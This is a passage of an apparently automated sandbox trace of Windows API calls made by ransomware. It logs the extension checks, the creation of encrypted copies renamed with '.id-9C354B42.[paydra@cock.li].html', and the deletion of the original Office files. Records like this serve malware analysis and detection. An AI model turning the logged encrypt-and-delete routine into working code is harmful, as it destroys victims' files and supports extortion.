[0036.086] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.086] lstrlenW (lpString=".bz2") returned 4 [0036.086] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.086] lstrlenW (lpString=".7z") returned 3 [0036.086] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.086] lstrlenW (lpString=".dbf") returned 4 [0036.086] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.086] lstrlenW (lpString=".1cd") returned 4 [0036.086] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.086] lstrlenW (lpString=".jpg") returned 4 [0036.086] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.086] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.086] lstrlenW (lpString="ipshrv.xml") returned 10 [0036.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0036.581] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2652) returned 1 [0036.581] CloseHandle (hObject=0x194) returned 1 [0036.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0036.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.582] lstrlenW (lpString=".doc") returned 4 [0036.582] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString=".docx") returned 5 [0036.582] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0036.582] lstrlenW (lpString=".pdf") returned 4 [0036.582] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString=".xls") returned 4 [0036.582] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.582] lstrlenW (lpString=".xlsx") returned 5 [0036.583] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0036.583] lstrlenW (lpString=".ppt") returned 4 [0036.583] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.583] lstrlenW (lpString=".zip") returned 4 [0036.583] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.583] lstrlenW (lpString=".rar") returned 4 [0036.583] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString=".bz2") returned 4 [0036.583] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString=".7z") returned 3 [0036.583] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.583] lstrlenW (lpString=".dbf") returned 4 [0036.583] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.583] lstrlenW (lpString=".1cd") returned 4 [0036.583] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.583] lstrlenW (lpString=".jpg") returned 4 [0036.583] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.583] lstrlenW (lpString=".doc") returned 4 [0036.583] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString=".docx") returned 5 [0036.583] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0036.583] lstrlenW (lpString=".pdf") returned 4 [0036.583] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString=".xls") returned 4 [0036.583] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.583] lstrlenW (lpString=".xlsx") returned 5 [0036.583] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0036.583] lstrlenW (lpString=".ppt") returned 4 [0036.583] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.584] lstrlenW (lpString=".zip") returned 4 [0036.584] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.584] lstrlenW (lpString=".rar") returned 4 [0036.584] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.584] lstrlenW (lpString=".bz2") returned 4 [0036.584] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.584] lstrlenW (lpString=".7z") returned 3 [0036.584] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.584] lstrlenW (lpString=".dbf") returned 4 [0036.584] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.584] lstrlenW (lpString=".1cd") returned 4 [0036.584] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0036.584] lstrlenW (lpString=".jpg") returned 4 [0036.584] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.584] lstrcmpiW (lpString1=".HTM", lpString2=".html") returned -1 [0036.584] lstrlenW (lpString="README.HTM") returned 10 [0036.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0037.244] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1941) returned 1 [0037.244] CloseHandle (hObject=0x1ac) returned 1 [0037.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0037.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0037.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0037.244] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.244] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0037.245] GetLastError () returned 0x0 [0037.245] ReadFile (in: hFile=0x1ac, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x795, lpOverlapped=0x0) returned 1 [0037.249] WriteFile (in: hFile=0x184, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0037.250] ReadFile (in: hFile=0x1ac, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.250] WriteFile (in: hFile=0x184, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0037.250] SetEndOfFile (hFile=0x184) returned 1 [0037.250] CloseHandle (hObject=0x184) returned 1 [0037.251] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.251] SetEndOfFile (hFile=0x1ac) returned 1 [0037.252] CloseHandle (hObject=0x1ac) returned 1 [0037.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0037.252] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0037.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.252] lstrlenW (lpString=".doc") returned 4 [0037.252] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0037.252] lstrlenW (lpString=".docx") returned 5 [0037.252] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0037.252] lstrlenW (lpString=".pdf") returned 4 [0037.252] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0037.252] lstrlenW (lpString=".xls") returned 4 [0037.252] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0037.252] lstrlenW (lpString=".xlsx") returned 5 [0037.252] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0037.252] lstrlenW (lpString=".ppt") returned 4 [0037.252] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0037.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.253] lstrlenW (lpString=".zip") returned 4 [0037.253] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0037.253] lstrlenW (lpString=".rar") returned 4 [0037.253] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0037.253] lstrlenW (lpString=".bz2") returned 4 [0037.253] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0037.253] lstrlenW (lpString=".7z") returned 3 [0037.253] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0037.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.253] lstrlenW (lpString=".dbf") returned 4 [0037.253] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0037.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.253] lstrlenW (lpString=".1cd") returned 4 [0037.253] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0037.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.253] lstrlenW (lpString=".jpg") returned 4 [0037.253] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0037.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.253] lstrlenW (lpString=".doc") returned 4 [0037.253] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0037.253] lstrlenW (lpString=".docx") returned 5 [0037.253] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0037.253] lstrlenW (lpString=".pdf") returned 4 [0037.253] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0037.254] lstrlenW (lpString=".xls") returned 4 [0037.254] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0037.254] lstrlenW (lpString=".xlsx") returned 5 [0037.254] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0037.254] lstrlenW (lpString=".ppt") returned 4 [0037.254] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0037.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.254] lstrlenW (lpString=".zip") returned 4 [0037.254] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0037.254] lstrlenW (lpString=".rar") returned 4 [0037.254] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0037.254] lstrlenW (lpString=".bz2") returned 4 [0037.254] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0037.254] lstrlenW (lpString=".7z") returned 3 [0037.254] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0037.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.254] lstrlenW (lpString=".dbf") returned 4 [0037.254] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0037.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.254] lstrlenW (lpString=".1cd") returned 4 [0037.254] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0037.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0037.254] lstrlenW (lpString=".jpg") returned 4 [0037.254] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0037.254] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0037.254] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0037.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0037.255] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1565) returned 1 [0037.255] CloseHandle (hObject=0x1ac) returned 1 [0037.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0037.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0037.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0037.255] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.255] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0037.255] GetLastError () returned 0x0 [0037.255] ReadFile (in: hFile=0x1ac, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x61d, lpOverlapped=0x0) returned 1 [0037.259] WriteFile (in: hFile=0x184, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x620, lpOverlapped=0x0) returned 1 [0037.259] ReadFile (in: hFile=0x1ac, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.260] WriteFile (in: hFile=0x184, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0037.260] SetEndOfFile (hFile=0x184) returned 1 [0037.260] CloseHandle (hObject=0x184) returned 1 [0037.260] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.260] SetEndOfFile (hFile=0x1ac) returned 1 [0037.261] CloseHandle (hObject=0x1ac) returned 1 [0037.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0037.261] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0037.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.262] lstrlenW (lpString=".doc") returned 4 [0037.262] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.262] lstrlenW (lpString=".docx") returned 5 [0037.262] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.262] lstrlenW (lpString=".pdf") returned 4 [0037.262] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.262] lstrlenW (lpString=".xls") returned 4 [0037.262] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.262] lstrlenW (lpString=".xlsx") returned 5 [0037.262] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.262] lstrlenW (lpString=".ppt") returned 4 [0037.262] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.262] lstrlenW (lpString=".zip") returned 4 [0037.262] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.262] lstrlenW (lpString=".rar") returned 4 [0037.262] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.262] lstrlenW (lpString=".bz2") returned 4 [0037.262] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.262] lstrlenW (lpString=".7z") returned 3 [0037.262] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.262] lstrlenW (lpString=".dbf") returned 4 [0037.262] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.262] lstrlenW (lpString=".1cd") returned 4 [0037.262] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.262] lstrlenW (lpString=".jpg") returned 4 [0037.262] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.263] lstrlenW (lpString=".doc") returned 4 [0037.263] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.263] lstrlenW (lpString=".docx") returned 5 [0037.263] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.263] lstrlenW (lpString=".pdf") returned 4 [0037.263] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.263] lstrlenW (lpString=".xls") returned 4 [0037.263] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.263] lstrlenW (lpString=".xlsx") returned 5 [0037.263] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.263] lstrlenW (lpString=".ppt") returned 4 [0037.263] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.263] lstrlenW (lpString=".zip") returned 4 [0037.263] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.263] lstrlenW (lpString=".rar") returned 4 [0037.263] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.263] lstrlenW (lpString=".bz2") returned 4 [0037.263] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.263] lstrlenW (lpString=".7z") returned 3 [0037.263] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.263] lstrlenW (lpString=".dbf") returned 4 [0037.263] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.263] lstrlenW (lpString=".1cd") returned 4 [0037.263] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0037.263] lstrlenW (lpString=".jpg") returned 4 [0037.263] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.263] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0037.263] lstrlenW (lpString="SETUP.XML") returned 9 [0037.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0037.271] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2296) returned 1 [0037.271] CloseHandle (hObject=0x1a4) returned 1 [0037.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0037.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0037.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0037.271] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.271] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 